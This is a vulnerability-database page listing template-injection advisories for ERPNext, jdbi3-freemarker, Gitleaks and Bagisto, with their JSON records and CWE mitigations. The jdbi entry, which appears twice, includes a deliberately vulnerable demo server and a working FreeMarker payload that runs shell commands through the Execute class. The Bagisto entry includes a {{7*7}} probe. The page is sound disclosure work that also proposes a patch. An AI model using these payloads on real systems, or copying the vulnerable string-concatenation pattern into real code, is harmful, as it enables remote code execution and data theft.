An SSTI (Server-Side Template Injection) vulnerability exists in the get_terms_and_conditions method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Terms and Conditions document can inject arbitrary Jinja expressions into the terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-66436"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T18:15:48Z",
    "severity": "MODERATE"
  },
  "details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_terms_and_conditions method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Terms and Conditions document can inject arbitrary Jinja expressions into the terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.",
  "id": "GHSA-mc79-8xp6-rcw8",
  "modified": "2025-12-16T21:30:52Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66436"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-3"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-3-239e6086eadc8020aeecdaf123e32f3d?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MGGX-P7JF-JGW4

Vulnerability from github – Published: 2026-05-05 22:15 – Updated: 2026-05-05 22:15
VLAI
Summary
jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine
Details

Summary

Description

An Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using jdbi3-freemarker permits attacker-influenced text to reach FreemarkerEngine.parse() as template source. This affects org.jdbi:jdbi3-freemarker through version 3.52.1.

The developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.

Jdbi’s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi’s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such ORDER BY columns.

Details

Jdbi constructs the underlying freemarker.template.Configuration with DEFAULT_INCOMPATIBLE_IMPROVEMENTS and never installs a TemplateClassResolver, so Freemarker's legacy UNRESTRICTED_RESOLVER remains active and the ?new built-in can instantiate arbitrary classes, including freemarker.template.utility.Execute.

Two Configuration instances are constructed in the module, neither of which is hardened:

// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java
public FreemarkerConfig() {
    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    freemarkerConfiguration.setNumberFormat("computer");
}
// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java
static {
    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    c.setNumberFormat("computer");
    CONFIGURATION = c;
}

The locator's CONFIGURATION is initialized once at class load and used by the deprecated static findTemplate(Class, String). It cannot be replaced via FreemarkerConfig#setFreemarkerConfiguration(...), so any fix must land in both call sites.

The sink is FreemarkerEngine.parse(), which constructs a Template from the raw SQL string and renders it against ctx.getAttributes():

// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java
Template template = new Template(null, sqlTemplate,
        config.get(FreemarkerConfig.class).getFreemarkerConfiguration());
return Optional.of(ctx -> {
    StringWriter writer = new StringWriter();
    template.process(ctx.getAttributes(), writer);
    return writer.toString();
});

Freemarker is the only built-in engine whose parse path provides reflective class loading by default.

Impact

This impacts all jdbi3-freemarker releases through 3.52.1. Exploitation requires that an application depend on jdbi3-freemarkerand allow request-derived text to flow into a SQL template body passed to Handle.createQuery(String), createUpdate(String), createCall(String), createScript(String), or Batch.add(String), or into a defined attribute that the template subsequently re-evaluates with ?eval or ?interpret.

An application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies ?eval / ?interpret to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.

Proposed Patch

The injection surface is the Configuration constructed by Jdbi on the application's behalf without a class-resolver policy.

FreemarkerConfig and FreemarkerSqlLocator's static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective ?new can override the Configuration via FreemarkerConfig#setFreemarkerConfiguration(...).

The static CONFIGURATION field cannot be reconfigured by application code at runtime, so a fix limited to FreemarkerConfig leaves the legacy locator path exploitable.

import freemarker.core.TemplateClassResolver;

// FreemarkerConfig.java
public FreemarkerConfig() {
    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    freemarkerConfiguration.setNumberFormat("computer");
    freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
}

// FreemarkerSqlLocator.java
static {
    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    c.setNumberFormat("computer");
    c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
    CONFIGURATION = c;
}

ALLOWS_NOTHING_RESOLVER rejects every ?new lookup, which is sufficient for SQL templating.SAFER_RESOLVER also closes RCE and blocks only Execute, ObjectConstructor, and JythonRuntime, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.

Proof of Concept

This PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi @Define attribute that the template subsequently evaluates.

# Create project directory
mkdir jdbi-freemarker-poc && cd jdbi-freemarker-poc

cat > pom.xml << 'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0">
  <modelVersion>4.0.0</modelVersion>
  <groupId>poc</groupId>
  <artifactId>jdbi-freemarker-poc</artifactId>
  <version>1.0</version>
  <properties>
    <maven.compiler.release>17</maven.compiler.release>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>
  <dependencies>
    <dependency>
      <groupId>org.jdbi</groupId>
      <artifactId>jdbi3-core</artifactId>
      <version>3.52.1</version>
    </dependency>
    <dependency>
      <groupId>org.jdbi</groupId>
      <artifactId>jdbi3-freemarker</artifactId>
      <version>3.52.1</version>
    </dependency>
    <dependency>
      <groupId>com.h2database</groupId>
      <artifactId>h2</artifactId>
      <version>2.2.224</version>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.13.0</version>
      </plugin>
    </plugins>
  </build>
</project>
EOF

mkdir -p src/main/java
cat > src/main/java/Server.java << 'EOF'
import com.sun.net.httpserver.HttpServer;
import org.jdbi.v3.core.Jdbi;
import org.jdbi.v3.core.statement.SqlStatements;
import org.jdbi.v3.freemarker.FreemarkerEngine;

import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;

public class Server {
    public static void main(String[] args) throws Exception {
        Jdbi jdbi = Jdbi.create("jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1");
        jdbi.getConfig(SqlStatements.class)
            .setTemplateEngine(FreemarkerEngine.instance());
        jdbi.useHandle(h -> {
            h.execute("create table users (id int, email varchar)");
            h.execute("insert into users values (1,'alice@example.com'),(2,'bob@example.com')");
        });

        HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);
        http.createContext("/search", ex -> {
            String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault("q", "");
            String sql = "select email from users where email like '%" + q + "%'";
            String body;
            try {
                body = jdbi.withHandle(h ->
                    h.createQuery(sql).mapTo(String.class).list().toString());
            } catch (Exception e) {
                body = "error: " + e.getMessage();
            }
            byte[] bytes = body.getBytes(StandardCharsets.UTF_8);
            ex.sendResponseHeaders(200, bytes.length);
            ex.getResponseBody().write(bytes);
            ex.close();
        });
        http.start();
        System.out.println("listening on http://127.0.0.1:8050/search?q=...");
    }

    private static Map<String, String> parseQuery(String raw) {
        Map<String, String> out = new HashMap<>();
        if (raw == null) return out;
        for (String pair : raw.split("&")) {
            int eq = pair.indexOf('=');
            if (eq < 0) continue;
            out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),
                    URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));
        }
        return out;
    }
}
EOF

mvn -q package
java -cp "target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)" Server &

Benign Request

$ curl -s 'http://127.0.0.1:8050/search?q=alice'
[alice@example.com]

Exploit

$ curl -sG 'http://127.0.0.1:8050/search' \
    --data-urlencode 'q=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("touch /tmp/jdbi-pwned")}'
[alice@example.com, bob@example.com]

$ ls -la /tmp/jdbi-pwned
-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.52.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jdbi:jdbi3-freemarker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:15:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Summary\n\n**Description**\n\nAn Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using `jdbi3-freemarker` permits attacker-influenced text to reach `FreemarkerEngine.parse()` as template source. This affects `org.jdbi:jdbi3-freemarker` through version 3.52.1.\n\nThe developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.\n\nJdbi\u2019s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi\u2019s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such `ORDER BY` columns. \n## Details\n\nJdbi constructs the underlying `freemarker.template.Configuration` with `DEFAULT_INCOMPATIBLE_IMPROVEMENTS` and never installs a `TemplateClassResolver`, so Freemarker\u0027s legacy `UNRESTRICTED_RESOLVER` remains active and the `?new` built-in can instantiate arbitrary classes, including `freemarker.template.utility.Execute`.\n\nTwo `Configuration` instances are constructed in the module, neither of which is hardened:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n}\n```\n\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    CONFIGURATION = c;\n}\n```\nThe locator\u0027s `CONFIGURATION` is initialized once at class load and used by the deprecated static `findTemplate(Class, String)`. It cannot be replaced via `FreemarkerConfig#setFreemarkerConfiguration(...)`, so any fix must land in both call sites.\n\nThe sink is `FreemarkerEngine.parse()`, which constructs a `Template` from the raw SQL string and renders it against `ctx.getAttributes()`:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java\nTemplate template = new Template(null, sqlTemplate,\n        config.get(FreemarkerConfig.class).getFreemarkerConfiguration());\nreturn Optional.of(ctx -\u003e {\n    StringWriter writer = new StringWriter();\n    template.process(ctx.getAttributes(), writer);\n    return writer.toString();\n});\n```\n\nFreemarker is the only built-in engine whose parse path provides reflective class loading by default.\n## Impact\n\nThis impacts all `jdbi3-freemarker` releases through 3.52.1. Exploitation requires that an application depend on `jdbi3-freemarker`and allow request-derived text to flow into a SQL template body passed to `Handle.createQuery(String)`, `createUpdate(String)`, `createCall(String)`, `createScript(String)`, or `Batch.add(String)`, or into a defined attribute that the template subsequently re-evaluates with `?eval` or `?interpret`.\n\nAn application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies `?eval` / `?interpret` to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.\n## Proposed Patch\n\nThe injection surface is the `Configuration` constructed by Jdbi on the application\u0027s behalf without a class-resolver policy.\n\n`FreemarkerConfig`\u00a0and\u00a0`FreemarkerSqlLocator`\u0027s static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective\u00a0`?new`\u00a0can override the\u00a0`Configuration`\u00a0via\u00a0`FreemarkerConfig#setFreemarkerConfiguration(...)`.\n\nThe static `CONFIGURATION` field cannot be reconfigured by application code at runtime, so a fix limited to `FreemarkerConfig` leaves the legacy locator path exploitable.\n```java\nimport freemarker.core.TemplateClassResolver;\n\n// FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n    freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n}\n\n// FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n    CONFIGURATION = c;\n}\n```\n\n`ALLOWS_NOTHING_RESOLVER` rejects every `?new` lookup, which is sufficient for SQL templating.`SAFER_RESOLVER` also closes RCE and blocks only `Execute`, `ObjectConstructor`, and `JythonRuntime`, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.\n\n## Proof of Concept\n\nThis PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi `@Define` attribute that the template subsequently evaluates.\n```bash\n# Create project directory\nmkdir jdbi-freemarker-poc \u0026\u0026 cd jdbi-freemarker-poc\n\ncat \u003e pom.xml \u003c\u003c \u0027EOF\u0027\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\u003e\n  \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n  \u003cgroupId\u003epoc\u003c/groupId\u003e\n  \u003cartifactId\u003ejdbi-freemarker-poc\u003c/artifactId\u003e\n  \u003cversion\u003e1.0\u003c/version\u003e\n  \u003cproperties\u003e\n    \u003cmaven.compiler.release\u003e17\u003c/maven.compiler.release\u003e\n    \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n  \u003c/properties\u003e\n  \u003cdependencies\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eorg.jdbi\u003c/groupId\u003e\n      \u003cartifactId\u003ejdbi3-core\u003c/artifactId\u003e\n      \u003cversion\u003e3.52.1\u003c/version\u003e\n    \u003c/dependency\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eorg.jdbi\u003c/groupId\u003e\n      \u003cartifactId\u003ejdbi3-freemarker\u003c/artifactId\u003e\n      \u003cversion\u003e3.52.1\u003c/version\u003e\n    \u003c/dependency\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003ecom.h2database\u003c/groupId\u003e\n      \u003cartifactId\u003eh2\u003c/artifactId\u003e\n      \u003cversion\u003e2.2.224\u003c/version\u003e\n    \u003c/dependency\u003e\n  \u003c/dependencies\u003e\n  \u003cbuild\u003e\n    \u003cplugins\u003e\n      \u003cplugin\u003e\n        \u003cgroupId\u003eorg.apache.maven.plugins\u003c/groupId\u003e\n        \u003cartifactId\u003emaven-compiler-plugin\u003c/artifactId\u003e\n        \u003cversion\u003e3.13.0\u003c/version\u003e\n      \u003c/plugin\u003e\n    \u003c/plugins\u003e\n  \u003c/build\u003e\n\u003c/project\u003e\nEOF\n\nmkdir -p src/main/java\ncat \u003e src/main/java/Server.java \u003c\u003c \u0027EOF\u0027\nimport com.sun.net.httpserver.HttpServer;\nimport org.jdbi.v3.core.Jdbi;\nimport org.jdbi.v3.core.statement.SqlStatements;\nimport org.jdbi.v3.freemarker.FreemarkerEngine;\n\nimport java.net.InetSocketAddress;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Server {\n    public static void main(String[] args) throws Exception {\n        Jdbi jdbi = Jdbi.create(\"jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1\");\n        jdbi.getConfig(SqlStatements.class)\n            .setTemplateEngine(FreemarkerEngine.instance());\n        jdbi.useHandle(h -\u003e {\n            h.execute(\"create table users (id int, email varchar)\");\n            h.execute(\"insert into users values (1,\u0027alice@example.com\u0027),(2,\u0027bob@example.com\u0027)\");\n        });\n\n        HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);\n        http.createContext(\"/search\", ex -\u003e {\n            String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault(\"q\", \"\");\n            String sql = \"select email from users where email like \u0027%\" + q + \"%\u0027\";\n            String body;\n            try {\n                body = jdbi.withHandle(h -\u003e\n                    h.createQuery(sql).mapTo(String.class).list().toString());\n            } catch (Exception e) {\n                body = \"error: \" + e.getMessage();\n            }\n            byte[] bytes = body.getBytes(StandardCharsets.UTF_8);\n            ex.sendResponseHeaders(200, bytes.length);\n            ex.getResponseBody().write(bytes);\n            ex.close();\n        });\n        http.start();\n        System.out.println(\"listening on http://127.0.0.1:8050/search?q=...\");\n    }\n\n    private static Map\u003cString, String\u003e parseQuery(String raw) {\n        Map\u003cString, String\u003e out = new HashMap\u003c\u003e();\n        if (raw == null) return out;\n        for (String pair : raw.split(\"\u0026\")) {\n            int eq = pair.indexOf(\u0027=\u0027);\n            if (eq \u003c 0) continue;\n            out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),\n                    URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));\n        }\n        return out;\n    }\n}\nEOF\n\nmvn -q package\njava -cp \"target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)\" Server \u0026\n```\n\nBenign Request\n```bash\n$ curl -s \u0027http://127.0.0.1:8050/search?q=alice\u0027\n[alice@example.com]\n```\n\nExploit\n```bash\n$ curl -sG \u0027http://127.0.0.1:8050/search\u0027 \\\n    --data-urlencode \u0027q=\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e${ex(\"touch /tmp/jdbi-pwned\")}\u0027\n[alice@example.com, bob@example.com]\n\n$ ls -la /tmp/jdbi-pwned\n-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned\n```",
  "id": "GHSA-mggx-p7jf-jgw4",
  "modified": "2026-05-05T22:15:17Z",
  "published": "2026-05-05T22:15:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdbi/jdbi/security/advisories/GHSA-mggx-p7jf-jgw4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdbi/jdbi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine"
}

GHSA-MMH4-9CVR-W4CJ

Vulnerability from github – Published: 2026-07-21 00:30 – Updated: 2026-07-21 00:30
VLAI
Details

Gitleaks prior to 8.30.1 contains a template injection vulnerability that allows attackers who can supply or influence report templates to read arbitrary environment variables and exfiltrate sensitive data by leveraging non-hermetic Sprig template functions. Attackers can craft malicious report templates using the env, expandenv, and getHostByName functions to extract credentials, tokens, and API keys from the host process and exfiltrate them through DNS queries, including secrets discovered during the scan itself.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-63728"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T00:17:48Z",
    "severity": "HIGH"
  },
  "details": "Gitleaks prior to 8.30.1 contains a template injection vulnerability that allows attackers who can supply or influence report templates to read arbitrary environment variables and exfiltrate sensitive data by leveraging non-hermetic Sprig template functions. Attackers can craft malicious report templates using the env, expandenv, and getHostByName functions to extract credentials, tokens, and API keys from the host process and exfiltrate them through DNS queries, including secrets discovered during the scan itself.",
  "id": "GHSA-mmh4-9cvr-w4cj",
  "modified": "2026-07-21T00:30:31Z",
  "published": "2026-07-21T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63728"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitleaks/gitleaks/commit/83d9cd684c87d95d656c1458ef04895a7f1cbd8e"
    },
    {
      "type": "WEB",
      "url": "https://fatihhcelik.github.io/posts/gitleaks-abusing-sprig-for-exfiltration/#the-fix"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitleaks/gitleaks"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitleaks-secret-exfiltration-via-non-hermetic-sprig-template-functions-in-report-template-feature"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MQHG-V22X-PQJ8

Vulnerability from github – Published: 2026-01-02 22:51 – Updated: 2026-01-08 21:36
VLAI
Summary
Bagisto is vulnerable to SSTI via name parameters provided by non-admin low-privilege users
Details

Summary

SSTI is possible via first name and last name parameters provided by lowest-privileged users.

Details

  1. Go to http://127.0.0.1:8000/ and login or signup
  2. Go to http://127.0.0.1:8000/customer/account/profile
  3. Now edit the first name and last name to {{7*7}}
  4. Notice it appears as 49

POC

  • Video attached with the report: https://github.com/user-attachments/assets/f93932b5-2a57-4f34-897e-4151a5168912

Impact

This can lead to RCE, command injection.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T22:51:40Z",
    "nvd_published_at": "2026-01-02T21:16:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSSTI is possible via first name and last name parameters provided by lowest-privileged users.\n### Details\n1. Go to `http://127.0.0.1:8000/` and login or signup \n2. Go to `http://127.0.0.1:8000/customer/account/profile`\n3. Now edit the first name and last name to {{7*7}}\n4. Notice it appears as 49\n\n### POC\n- Video attached with the report: https://github.com/user-attachments/assets/f93932b5-2a57-4f34-897e-4151a5168912\n\n### Impact\nThis can lead to RCE, command injection.",
  "id": "GHSA-mqhg-v22x-pqj8",
  "modified": "2026-01-08T21:36:05Z",
  "published": "2026-01-02T22:51:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-mqhg-v22x-pqj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/commit/4144931da0014c696f9126132ce44d7cfbdb2761"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/releases/tag/v2.3.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bagisto is vulnerable to SSTI via name parameters provided by non-admin low-privilege users"
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.